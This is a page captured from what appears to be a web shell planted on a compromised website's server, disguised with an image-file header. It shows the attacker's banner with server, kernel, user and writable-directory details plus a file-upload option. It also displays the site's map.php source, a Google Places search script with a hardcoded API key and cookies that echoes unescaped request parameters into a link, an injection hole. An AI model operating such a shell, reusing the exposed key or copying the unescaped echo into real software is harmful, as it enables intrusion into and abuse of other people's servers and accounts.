����JFIF��� ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/thietkewebvumi.com/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/thietkewebvumi.com/map.php
<?php
function curl_func($url) {
    $ch = curl_init();
    $head[] = 'Host: maps.googleapis.com';
    $head[] = 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0';
    $head[] = 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8';
    $head[] = 'Accept-Language: en-US,en;q=0.5';
    $head[] = 'Accept-Encoding: gzip';
    $head[] = 'Connection: keep-alive';
    $head[] = 'Cookie: VISITOR_INFO1_LIVE=fQJoDmD2uIM; _ga=GA1.2.132832653.1582794066; PREF=app=m; CONSENT=YES+VN.vi+20170312-18-0; YSC=pZ3UxPRaYyY';
    $head[] = 'Upgrade-Insecure-Requests: 1';
    $head[] = 'Pragma: no-cache';
    $head[] = 'Cache-Control: no-cache';
    $head[] = 'TE: Trailers';
    curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0');
    curl_setopt($ch, CURLOPT_HTTPHEADER, $head);
    curl_setopt($ch, CURLOPT_REFERER, 'https://api.dailymotion.com');
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
    curl_setopt($ch, CURLOPT_TIMEOUT, 60);
    curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 60);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
    curl_setopt($ch,CURLOPT_ENCODING , "gzip");
    $page = curl_exec($ch);
    curl_close($ch);
    return $page;
}
$keyword = 'company';
if(isset($_GET['keyword']) && $_GET['keyword']!='') {
    $keyword = str_replace(array(' ','%20','<','>','~','!','@','#','$','%'),array('+','+','','','','','','','',''),$_GET['keyword']);
}
$pagetoken = '';
$url = 'https://maps.googleapis.com/maps/api/place/textsearch/json?query='.$keyword.'&language=vi&location=10.823685094990857,106.63238398525438&key=AIzaSyCy6O01UmFoZgx9nG1Wxt-9CvA9Nt8JC-s';
if(isset($_GET['pagetoken']) && $_GET['pagetoken']!=''){
    $pagetoken = $_GET['pagetoken'];
    $url = 'https://maps.googleapis.com/maps/api/place/textsearch/json?query='.$keyword.'&pagetoken='.$pagetoken.'&language=vi&location=10.823685094990857,106.63238398525438&key=AIzaSyCy6O01UmFoZgx9nG1Wxt-9CvA9Nt8JC-s';
}

$content = curl_func($url);
$arr = json_decode($content,true);
$nextpagetoken = '';
if(isset($arr['next_page_token'])) {
    $nextpagetoken = $arr['next_page_token'];
}
$html = '';

foreach ($arr['results'] as $key=>$val){
    $html .= '<tr><td>'.$val['name'].'</td><td>'.$val['formatted_address'].'</td><td><a href="https://www.google.com/maps/place/?q=place_id:'.$val['place_id'].'
" target="_blank">https://www.google.com/maps/place/?q=place_id:'.$val['place_id'].'</a></td></tr>';
}

?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <title>Home</title>
</head>
<body>
    <form action="" method="get">
    <table border="1">
        <tr><td colspan="3"><input type="text" value="" name="keyword">  <input type="submit" name="submitbt" value="Tìm"></td> </tr>
        <tr><th>Tên</th><th>Địa chỉ</th><th>Link</th></tr>
        <?php echo $html;?>
        <?php if($nextpagetoken!=''){ ?>
        <tr><td colspan="3">


                <a href="map.php?keyword=<?php echo $keyword;?>&pagetoken=<?php echo $nextpagetoken;?>">Next</a>

            </td></tr>
        <?php } ?>
    </table>
    </form>
</body>
</html>

ZeroDay Forums Mini